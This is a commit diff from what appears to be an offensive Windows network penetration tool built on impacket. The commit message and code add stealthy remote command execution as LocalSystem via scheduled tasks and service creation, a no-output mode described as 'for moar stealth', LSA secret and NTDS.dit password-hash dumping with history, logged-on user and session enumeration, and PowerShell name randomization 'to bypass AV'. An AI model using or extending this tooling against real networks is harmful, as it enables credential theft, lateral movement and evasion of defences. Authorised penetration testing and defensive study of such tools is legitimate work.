Everything is set! \o/
Recap on changes: Complete refactor, script broken up to make it readable Kerberos support (!!!! sweeeeet !!!!) Logging has been overhauled (everything sent to stdout gets logged) Added a noOutput attr on all three excution methods Exposed a --no-output option for moar stealth when executing commands Exposed a --lsa option to dump LSA secrets Exposed the -history and -pwdLastSet options from secretdump Fixed passpoldumper Fixed the NTDS.dit dumper HTTP/HTTPS server now removes powershell script comments HTTP/HTTPS server randomizes powershell function names to bypass AV on windows 10 --session and --luser output has been made decent (resolves #42) Moar code style changes and bugfixes TODO: hook back up ninja and vss NTDS.dit dumping methods Allow all three execution methods to utilize the smbserver as fallback to retrieve command output expose some options to control remote servicesmain
parent
e84c55dc8c
commit
66dbf87af5
|
@ -25,14 +25,15 @@ class EXECUTOR:
|
||||||
elif settings.args.execm == 'smbexec':
|
elif settings.args.execm == 'smbexec':
|
||||||
smb_exec = SMBEXEC(command,
|
smb_exec = SMBEXEC(command,
|
||||||
'{}/SMB'.format(settings.args.port),
|
'{}/SMB'.format(settings.args.port),
|
||||||
settings.args.user,
|
settings.args.user,
|
||||||
settings.args.passwd,
|
settings.args.passwd,
|
||||||
domain,
|
domain,
|
||||||
settings.args.hash,
|
settings.args.hash,
|
||||||
settings.args.aesKey,
|
settings.args.aesKey,
|
||||||
settings.args.kerb,
|
settings.args.kerb,
|
||||||
'SHARE',
|
'SHARE',
|
||||||
settings.args.share)
|
settings.args.share,
|
||||||
|
noOutput)
|
||||||
smb_exec.run(host)
|
smb_exec.run(host)
|
||||||
|
|
||||||
elif settings.args.execm == 'atexec':
|
elif settings.args.execm == 'atexec':
|
||||||
|
@ -42,5 +43,6 @@ class EXECUTOR:
|
||||||
domain,
|
domain,
|
||||||
settings.args.hash,
|
settings.args.hash,
|
||||||
settings.args.aesKey,
|
settings.args.aesKey,
|
||||||
settings.args.kerb)
|
settings.args.kerb,
|
||||||
|
noOutput)
|
||||||
atsvc_exec.play(host)
|
atsvc_exec.play(host)
|
|
@ -77,7 +77,7 @@ def red(text):
|
||||||
return colored(text, 'red', attrs=['bold'])
|
return colored(text, 'red', attrs=['bold'])
|
||||||
|
|
||||||
def shutdown(exit_code):
|
def shutdown(exit_code):
|
||||||
print colored("[*] ", 'blue', attrs=['bold']) + "KTHXBYE"
|
print_status("KTHXBYE")
|
||||||
sys.exit(int(exit_code))
|
sys.exit(int(exit_code))
|
||||||
|
|
||||||
def root_error():
|
def root_error():
|
||||||
|
|
|
@ -103,7 +103,9 @@ def connect(host):
|
||||||
if settings.args.lsa:
|
if settings.args.lsa:
|
||||||
dumper.dump_LSA()
|
dumper.dump_LSA()
|
||||||
if settings.args.ntds:
|
if settings.args.ntds:
|
||||||
dumper.dump_NTDS(settings.args.ntds)
|
dumper.dump_NTDS(settings.args.ntds,
|
||||||
|
settings.args.ntds_history,
|
||||||
|
settings.args.ntds_pwdLastSet)
|
||||||
dumper.cleanup()
|
dumper.cleanup()
|
||||||
|
|
||||||
if settings.args.pass_pol:
|
if settings.args.pass_pol:
|
||||||
|
|
|
@ -7,7 +7,7 @@ from impacket import version
|
||||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||||
from impacket.dcerpc.v5 import transport, samr
|
from impacket.dcerpc.v5 import transport, samr
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||||
from time import strftime
|
from time import strftime, gmtime
|
||||||
|
|
||||||
class PassPolDump:
|
class PassPolDump:
|
||||||
KNOWN_PROTOCOLS = {
|
KNOWN_PROTOCOLS = {
|
||||||
|
@ -18,7 +18,7 @@ class PassPolDump:
|
||||||
def __init__(self, protocols = None,
|
def __init__(self, protocols = None,
|
||||||
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
|
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
|
||||||
if not protocols:
|
if not protocols:
|
||||||
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
|
self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
|
||||||
else:
|
else:
|
||||||
self.__protocols = [protocols]
|
self.__protocols = [protocols]
|
||||||
|
|
||||||
|
@ -40,13 +40,29 @@ class PassPolDump:
|
||||||
# Try all requested protocols until one works.
|
# Try all requested protocols until one works.
|
||||||
entries = []
|
entries = []
|
||||||
for protocol in self.__protocols:
|
for protocol in self.__protocols:
|
||||||
protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
|
protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
|
||||||
port = protodef[1]
|
port = protodef[1]
|
||||||
|
|
||||||
logging.info("Trying protocol %s..." % protocol)
|
logging.info("Trying protocol %s..." % protocol)
|
||||||
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
|
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
|
||||||
|
|
||||||
self.get_pass_pol(host)
|
dce = rpctransport.get_dce_rpc()
|
||||||
|
dce.connect()
|
||||||
|
|
||||||
|
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||||
|
|
||||||
|
resp = samr.hSamrConnect(dce)
|
||||||
|
serverHandle = resp['ServerHandle']
|
||||||
|
|
||||||
|
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
|
||||||
|
domains = resp['Buffer']['Buffer']
|
||||||
|
|
||||||
|
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name'])
|
||||||
|
|
||||||
|
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
|
||||||
|
domainHandle = resp['DomainHandle']
|
||||||
|
|
||||||
|
self.get_pass_pol(addr, rpctransport, dce, domainHandle)
|
||||||
|
|
||||||
def convert(self, low, high, no_zero):
|
def convert(self, low, high, no_zero):
|
||||||
|
|
||||||
|
@ -83,8 +99,7 @@ class PassPolDump:
|
||||||
time = str(days) + " minute "
|
time = str(days) + " minute "
|
||||||
return time
|
return time
|
||||||
|
|
||||||
def get_pass_pol(self, host):
|
def get_pass_pol(self, host, rpctransport, dce, domainHandle):
|
||||||
rpctransport, dce, domainHandle = self.connect(host)
|
|
||||||
|
|
||||||
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
|
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
|
||||||
|
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
|
import logging
|
||||||
from logger import *
|
from logger import *
|
||||||
from impacket.dcerpc.v5 import transport, srvs, wkst
|
from impacket.dcerpc.v5 import transport, srvs, wkst
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
@ -10,6 +11,7 @@ class RPCQUERY():
|
||||||
self.__domain = domain
|
self.__domain = domain
|
||||||
self.__lmhash = ''
|
self.__lmhash = ''
|
||||||
self.__nthash = ''
|
self.__nthash = ''
|
||||||
|
self.__local_ip = None
|
||||||
self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
|
self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
|
||||||
if hashes:
|
if hashes:
|
||||||
self.__lmhash, self.__nthash = hashes.split(':')
|
self.__lmhash, self.__nthash = hashes.split(':')
|
||||||
|
@ -32,37 +34,45 @@ class RPCQUERY():
|
||||||
elif service == 'srvsvc':
|
elif service == 'srvsvc':
|
||||||
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)
|
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)
|
||||||
|
|
||||||
|
self.__local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
|
||||||
return dce, rpctransport
|
return dce, rpctransport
|
||||||
|
|
||||||
def enum_lusers(self, host):
|
def enum_lusers(self, host):
|
||||||
dce, rpctransport = self.connect(host, 'wkssvc')
|
dce, rpctransport = self.connect(host, 'wkssvc')
|
||||||
users_info = {}
|
resp = wkst.hNetrWkstaUserEnum(dce, 1)
|
||||||
try:
|
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
|
||||||
resp = wkst.hNetrWkstaUserEnum(dce, 1)
|
|
||||||
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
|
|
||||||
except Exception:
|
|
||||||
resp = wkst.hNetrWkstaUserEnum(dce, 0)
|
|
||||||
lusers = resp['UserInfo']['WkstaUserInfo']['Level0']['Buffer']
|
|
||||||
|
|
||||||
print_succ("{}:{} Logged on users:".format(host, settings.args.port))
|
print_succ("{}:{} Logged on users:".format(host, settings.args.port))
|
||||||
for luser in lusers:
|
for user in lusers:
|
||||||
for fname in luser.fields.keys():
|
print_att('{}\\{} {} {}'.format(user['wkui1_logon_domain'],
|
||||||
print_message("{} {}".format(fname, yellow(luser[fname])))
|
user['wkui1_username'],
|
||||||
|
user['wkui1_logon_server'],
|
||||||
|
user['wkui1_oth_domains']))
|
||||||
|
|
||||||
def enum_sessions(self, host):
|
def enum_sessions(self, host):
|
||||||
dce, rpctransport = self.connect(host, 'srvsvc')
|
dce, rpctransport = self.connect(host, 'srvsvc')
|
||||||
session_info = {}
|
level = 502
|
||||||
try:
|
try:
|
||||||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
|
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
|
||||||
sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
|
sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
|
||||||
except Exception:
|
except Exception:
|
||||||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0)
|
level = 0
|
||||||
|
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
|
||||||
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
|
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
|
||||||
|
|
||||||
print_succ("{}:{} Current active sessions:".format(host, settings.args.port))
|
print_succ("{}:{} Current active sessions:".format(host, settings.args.port))
|
||||||
for session in sessions:
|
for session in sessions:
|
||||||
for fname in session.fields.keys():
|
if level == 502:
|
||||||
print_message("{} {}".format(fname, yellow(session[fname])))
|
if session['sesi502_cname'][:-1] != self.__local_ip:
|
||||||
|
print_att('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
|
||||||
|
session['sesi502_username'],
|
||||||
|
session['sesi502_num_opens'],
|
||||||
|
session['sesi502_time'],
|
||||||
|
session['sesi502_idle_time']))
|
||||||
|
|
||||||
|
elif level == 0:
|
||||||
|
if session['sesi0_cname'][:-1] != self.__local_ip:
|
||||||
|
print_att('\\\\{}'.format(session['sesi0_cname']))
|
||||||
|
|
||||||
def enum_disks(self, host):
|
def enum_disks(self, host):
|
||||||
dce, rpctransport = self.connect(host, 'srvsvc')
|
dce, rpctransport = self.connect(host, 'srvsvc')
|
||||||
|
@ -74,4 +84,5 @@ class RPCQUERY():
|
||||||
print_succ("{}:{} Available disks:".format(host, settings.args.port))
|
print_succ("{}:{} Available disks:".format(host, settings.args.port))
|
||||||
for disk in resp['DiskInfoStruct']['Buffer']:
|
for disk in resp['DiskInfoStruct']['Buffer']:
|
||||||
for dname in disk.fields.keys():
|
for dname in disk.fields.keys():
|
||||||
print_att(disk[dname])
|
if disk[dname] != '\x00':
|
||||||
|
print_att(disk[dname])
|
||||||
|
|
|
@ -29,7 +29,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
|
||||||
|
|
||||||
class TSCH_EXEC:
|
class TSCH_EXEC:
|
||||||
def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False):
|
def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
|
||||||
self.__username = username
|
self.__username = username
|
||||||
self.__password = password
|
self.__password = password
|
||||||
self.__domain = domain
|
self.__domain = domain
|
||||||
|
@ -38,6 +38,7 @@ class TSCH_EXEC:
|
||||||
self.__aesKey = aesKey
|
self.__aesKey = aesKey
|
||||||
self.__doKerberos = doKerberos
|
self.__doKerberos = doKerberos
|
||||||
self.__command = command
|
self.__command = command
|
||||||
|
self.__noOutput = noOutput
|
||||||
if hashes is not None:
|
if hashes is not None:
|
||||||
self.__lmhash, self.__nthash = hashes.split(':')
|
self.__lmhash, self.__nthash = hashes.split(':')
|
||||||
|
|
||||||
|
@ -61,8 +62,6 @@ class TSCH_EXEC:
|
||||||
|
|
||||||
def doStuff(self, rpctransport):
|
def doStuff(self, rpctransport):
|
||||||
def output_callback(data):
|
def output_callback(data):
|
||||||
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
|
|
||||||
print_succ('{} Executed command via ATEXEC'.format(peer))
|
|
||||||
print_att(data.strip())
|
print_att(data.strip())
|
||||||
|
|
||||||
dce = rpctransport.get_dce_rpc()
|
dce = rpctransport.get_dce_rpc()
|
||||||
|
@ -112,11 +111,22 @@ class TSCH_EXEC:
|
||||||
<Actions Context="LocalSystem">
|
<Actions Context="LocalSystem">
|
||||||
<Exec>
|
<Exec>
|
||||||
<Command>cmd.exe</Command>
|
<Command>cmd.exe</Command>
|
||||||
<Arguments>/C %s > %%windir%%\\Temp\\%s 2>&1</Arguments>
|
"""
|
||||||
|
if self.__noOutput is False:
|
||||||
|
xml+= """ <Arguments>/C %s > %%windir%%\\Temp\\%s 2>&1</Arguments>
|
||||||
</Exec>
|
</Exec>
|
||||||
</Actions>
|
</Actions>
|
||||||
</Task>
|
</Task>
|
||||||
""" % (self.__command, tmpFileName)
|
""" % (self.__command, tmpFileName)
|
||||||
|
|
||||||
|
else:
|
||||||
|
xml+= """ <Arguments>/C %s</Arguments>
|
||||||
|
</Exec>
|
||||||
|
</Actions>
|
||||||
|
</Task>
|
||||||
|
""" % (self.__command)
|
||||||
|
|
||||||
|
logging.info("Task XML: {}".format(xml))
|
||||||
taskCreated = False
|
taskCreated = False
|
||||||
try:
|
try:
|
||||||
logging.info('Creating task \\%s' % tmpName)
|
logging.info('Creating task \\%s' % tmpName)
|
||||||
|
@ -145,26 +155,32 @@ class TSCH_EXEC:
|
||||||
if taskCreated is True:
|
if taskCreated is True:
|
||||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||||
|
|
||||||
smbConnection = rpctransport.get_smb_connection()
|
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
|
||||||
waitOnce = True
|
print_succ('{} Executed command via ATEXEC'.format(peer))
|
||||||
while True:
|
|
||||||
try:
|
if self.__noOutput is False:
|
||||||
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
smbConnection = rpctransport.get_smb_connection()
|
||||||
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
|
waitOnce = True
|
||||||
break
|
while True:
|
||||||
except Exception, e:
|
try:
|
||||||
if str(e).find('SHARING') > 0:
|
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
||||||
sleep(3)
|
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
|
||||||
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
break
|
||||||
if waitOnce is True:
|
except Exception, e:
|
||||||
# We're giving it the chance to flush the file before giving up
|
if str(e).find('SHARING') > 0:
|
||||||
sleep(3)
|
sleep(3)
|
||||||
waitOnce = False
|
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||||
|
if waitOnce is True:
|
||||||
|
# We're giving it the chance to flush the file before giving up
|
||||||
|
sleep(3)
|
||||||
|
waitOnce = False
|
||||||
|
else:
|
||||||
|
raise
|
||||||
else:
|
else:
|
||||||
raise
|
raise
|
||||||
else:
|
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||||
raise
|
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
||||||
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
else:
|
||||||
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
logging.info('Output retrieval disabled')
|
||||||
|
|
||||||
dce.disconnect()
|
dce.disconnect()
|
|
@ -1694,7 +1694,7 @@ class NTDSHashes:
|
||||||
|
|
||||||
if self.__pwdLastSet is True:
|
if self.__pwdLastSet is True:
|
||||||
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
||||||
print answer
|
print_att(answer)
|
||||||
|
|
||||||
if self.__history:
|
if self.__history:
|
||||||
for i, (LMHashHistory, NTHashHistory) in enumerate(
|
for i, (LMHashHistory, NTHashHistory) in enumerate(
|
||||||
|
@ -1705,7 +1705,7 @@ class NTDSHashes:
|
||||||
lmhash = hexlify(LMHashHistory)
|
lmhash = hexlify(LMHashHistory)
|
||||||
|
|
||||||
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
|
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
|
||||||
print answer
|
print_att(answer)
|
||||||
if outputFile is not None:
|
if outputFile is not None:
|
||||||
self.__writeOutput(outputFile, answer + '\n')
|
self.__writeOutput(outputFile, answer + '\n')
|
||||||
|
|
||||||
|
@ -1888,7 +1888,7 @@ class NTDSHashes:
|
||||||
logging.info('Kerberos keys grabbed')
|
logging.info('Kerberos keys grabbed')
|
||||||
|
|
||||||
for itemKey in self.__kerberosKeys.keys():
|
for itemKey in self.__kerberosKeys.keys():
|
||||||
print itemKey
|
print_att(itemKey)
|
||||||
|
|
||||||
# And finally the cleartext pwds
|
# And finally the cleartext pwds
|
||||||
if len(self.__clearTextPwds) > 0:
|
if len(self.__clearTextPwds) > 0:
|
||||||
|
@ -1898,7 +1898,7 @@ class NTDSHashes:
|
||||||
logging.info('ClearText passwords grabbed')
|
logging.info('ClearText passwords grabbed')
|
||||||
|
|
||||||
for itemKey in self.__clearTextPwds.keys():
|
for itemKey in self.__clearTextPwds.keys():
|
||||||
print itemKey
|
print_att(itemKey)
|
||||||
|
|
||||||
# Closing output file
|
# Closing output file
|
||||||
if self.__outputFileName is not None:
|
if self.__outputFileName is not None:
|
||||||
|
@ -1940,14 +1940,14 @@ class DumpSecrets:
|
||||||
self.__securityHive = None #Local
|
self.__securityHive = None #Local
|
||||||
self.__samHive = None #Local
|
self.__samHive = None #Local
|
||||||
self.__ntdsFile = None #Local
|
self.__ntdsFile = None #Local
|
||||||
self.__history = False #Might want to expose this
|
#self.__history = False #Might want to expose this
|
||||||
self.__noLMHash = True
|
self.__noLMHash = True
|
||||||
self.__isRemote = True
|
self.__isRemote = True
|
||||||
self.__outputFileName = outputFile
|
self.__outputFileName = outputFile
|
||||||
self.__doKerberos = kerberos
|
self.__doKerberos = kerberos
|
||||||
self.__justDC = False #Might want to expose this
|
self.__justDC = False #Might want to expose this
|
||||||
self.__justDCNTLM = False #Might want to expose this
|
self.__justDCNTLM = True #Might want to expose this
|
||||||
self.__pwdLastSet = False #Might want to expose this
|
#self.__pwdLastSet = False #Might want to expose this
|
||||||
self.__resumeFileName = None #Might want to expose this
|
self.__resumeFileName = None #Might want to expose this
|
||||||
|
|
||||||
def getBootKey(self):
|
def getBootKey(self):
|
||||||
|
@ -1998,12 +1998,10 @@ class DumpSecrets:
|
||||||
def do_remote_ops(self):
|
def do_remote_ops(self):
|
||||||
bootKey = None
|
bootKey = None
|
||||||
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
|
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
|
||||||
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
|
self.__remoteOps.enableRegistry()
|
||||||
self.__remoteOps.enableRegistry()
|
bootKey = self.__remoteOps.getBootKey()
|
||||||
bootKey = self.__remoteOps.getBootKey()
|
# Let's check whether target system stores LM Hashes
|
||||||
# Let's check whether target system stores LM Hashes
|
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
|
||||||
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
|
|
||||||
|
|
||||||
self.__bootKey = bootKey
|
self.__bootKey = bootKey
|
||||||
|
|
||||||
def dump_SAM(self):
|
def dump_SAM(self):
|
||||||
|
@ -2035,7 +2033,7 @@ class DumpSecrets:
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
logging.error('LSA hashes extraction failed: %s' % str(e))
|
logging.error('LSA hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
def dump_NTDS(self, method):
|
def dump_NTDS(self, method, history, pwdLastSet):
|
||||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
||||||
vss = False
|
vss = False
|
||||||
if method == 'vss':
|
if method == 'vss':
|
||||||
|
@ -2044,17 +2042,18 @@ class DumpSecrets:
|
||||||
else:
|
else:
|
||||||
NTDSFileName = None
|
NTDSFileName = None
|
||||||
|
|
||||||
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=True, history=self.__history,
|
print_succ("{}:{} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(self.__remoteAddr, self.__remotePort, method.upper()))
|
||||||
|
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, isRemote=True, history=history,
|
||||||
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
|
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
|
||||||
useVSSMethod=vss, justNTLM=self.__justDCNTLM,
|
useVSSMethod=vss, justNTLM=self.__justDCNTLM,
|
||||||
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
|
pwdLastSet=pwdLastSet, resumeSession=self.__resumeFileName,
|
||||||
outputFileName=self.__outputFileName)
|
outputFileName=self.__outputFileName)
|
||||||
try:
|
try:
|
||||||
self.__NTDSHashes.dump()
|
self.__NTDSHashes.dump()
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
logging.error(e)
|
logging.error(e)
|
||||||
if method != 'vss':
|
if method != 'vss':
|
||||||
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
logging.info('Something wen\'t wrong with the DRSUAPI approach')
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
logging.info('Cleaning up... ')
|
logging.info('Cleaning up... ')
|
||||||
|
|
|
@ -50,8 +50,8 @@ class SMBEXEC:
|
||||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||||
}
|
}
|
||||||
|
|
||||||
def __init__(self, command, protocols = None,
|
def __init__(self, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
|
||||||
username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None):
|
|
||||||
if not protocols:
|
if not protocols:
|
||||||
protocols = SMBEXEC.KNOWN_PROTOCOLS.keys()
|
protocols = SMBEXEC.KNOWN_PROTOCOLS.keys()
|
||||||
|
|
||||||
|
@ -65,6 +65,7 @@ class SMBEXEC:
|
||||||
self.__nthash = ''
|
self.__nthash = ''
|
||||||
self.__aesKey = aesKey
|
self.__aesKey = aesKey
|
||||||
self.__doKerberos = doKerberos
|
self.__doKerberos = doKerberos
|
||||||
|
self.__noOutput = noOutput
|
||||||
self.__share = share
|
self.__share = share
|
||||||
self.__mode = mode
|
self.__mode = mode
|
||||||
self.shell = None
|
self.shell = None
|
||||||
|
@ -96,7 +97,7 @@ class SMBEXEC:
|
||||||
if self.__mode == 'SERVER':
|
if self.__mode == 'SERVER':
|
||||||
serverThread = SMBServer()
|
serverThread = SMBServer()
|
||||||
serverThread.start()
|
serverThread.start()
|
||||||
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
|
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
|
||||||
self.shell.onecmd(self.__command)
|
self.shell.onecmd(self.__command)
|
||||||
self.shell.finish()
|
self.shell.finish()
|
||||||
if self.__mode == 'SERVER':
|
if self.__mode == 'SERVER':
|
||||||
|
@ -107,7 +108,7 @@ class SMBEXEC:
|
||||||
self.shell.finish()
|
self.shell.finish()
|
||||||
|
|
||||||
class RemoteShell(cmd.Cmd):
|
class RemoteShell(cmd.Cmd):
|
||||||
def __init__(self, share, rpc, mode, serviceName):
|
def __init__(self, share, rpc, mode, serviceName, noOutput):
|
||||||
cmd.Cmd.__init__(self)
|
cmd.Cmd.__init__(self)
|
||||||
self.__share = share
|
self.__share = share
|
||||||
self.__mode = mode
|
self.__mode = mode
|
||||||
|
@ -117,6 +118,7 @@ class RemoteShell(cmd.Cmd):
|
||||||
self.__command = ''
|
self.__command = ''
|
||||||
self.__shell = '%COMSPEC% /Q /c '
|
self.__shell = '%COMSPEC% /Q /c '
|
||||||
self.__serviceName = serviceName
|
self.__serviceName = serviceName
|
||||||
|
self.__noOutput = noOutput
|
||||||
self.__rpc = rpc
|
self.__rpc = rpc
|
||||||
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
|
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
|
||||||
|
|
||||||
|
@ -127,19 +129,22 @@ class RemoteShell(cmd.Cmd):
|
||||||
logging.critical(str(e))
|
logging.critical(str(e))
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
s = rpc.get_smb_connection()
|
|
||||||
|
|
||||||
# We don't wanna deal with timeouts from now on.
|
|
||||||
s.setTimeout(100000)
|
|
||||||
if mode == 'SERVER':
|
|
||||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
|
||||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
|
||||||
|
|
||||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||||
self.__scHandle = resp['lpScHandle']
|
self.__scHandle = resp['lpScHandle']
|
||||||
self.transferClient = rpc.get_smb_connection()
|
|
||||||
self.do_cd('')
|
if self.__noOutput is False:
|
||||||
|
s = rpc.get_smb_connection()
|
||||||
|
# We don't wanna deal with timeouts from now on.
|
||||||
|
s.setTimeout(100000)
|
||||||
|
self.transferClient = rpc.get_smb_connection()
|
||||||
|
if mode == 'SERVER':
|
||||||
|
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||||
|
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||||
|
else:
|
||||||
|
logging.info('Output retrieval disabled')
|
||||||
|
|
||||||
|
#self.do_cd('')
|
||||||
|
|
||||||
def finish(self):
|
def finish(self):
|
||||||
# Just in case the service is still created
|
# Just in case the service is still created
|
||||||
|
@ -188,6 +193,10 @@ class RemoteShell(cmd.Cmd):
|
||||||
def output_callback(data):
|
def output_callback(data):
|
||||||
self.__outputBuffer += data
|
self.__outputBuffer += data
|
||||||
|
|
||||||
|
if self.__noOutput is True:
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
return
|
||||||
|
|
||||||
if self.__mode == 'SHARE':
|
if self.__mode == 'SHARE':
|
||||||
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
||||||
self.transferClient.deleteFile(self.__share, self.__output)
|
self.transferClient.deleteFile(self.__share, self.__output)
|
||||||
|
@ -198,11 +207,17 @@ class RemoteShell(cmd.Cmd):
|
||||||
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
|
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
|
||||||
|
|
||||||
def execute_remote(self, data):
|
def execute_remote(self, data):
|
||||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
if self.__noOutput is False:
|
||||||
if self.__mode == 'SERVER':
|
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||||
command += ' & ' + self.__copyBack
|
if self.__mode == 'SERVER':
|
||||||
|
command += ' & ' + self.__copyBack
|
||||||
|
else:
|
||||||
|
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||||
|
|
||||||
command += ' & ' + 'del ' + self.__batchFile
|
command += ' & ' + 'del ' + self.__batchFile
|
||||||
|
|
||||||
|
logging.info('Command in batch file: {}'.format(command))
|
||||||
|
|
||||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||||
service = resp['lpServiceHandle']
|
service = resp['lpServiceHandle']
|
||||||
|
|
||||||
|
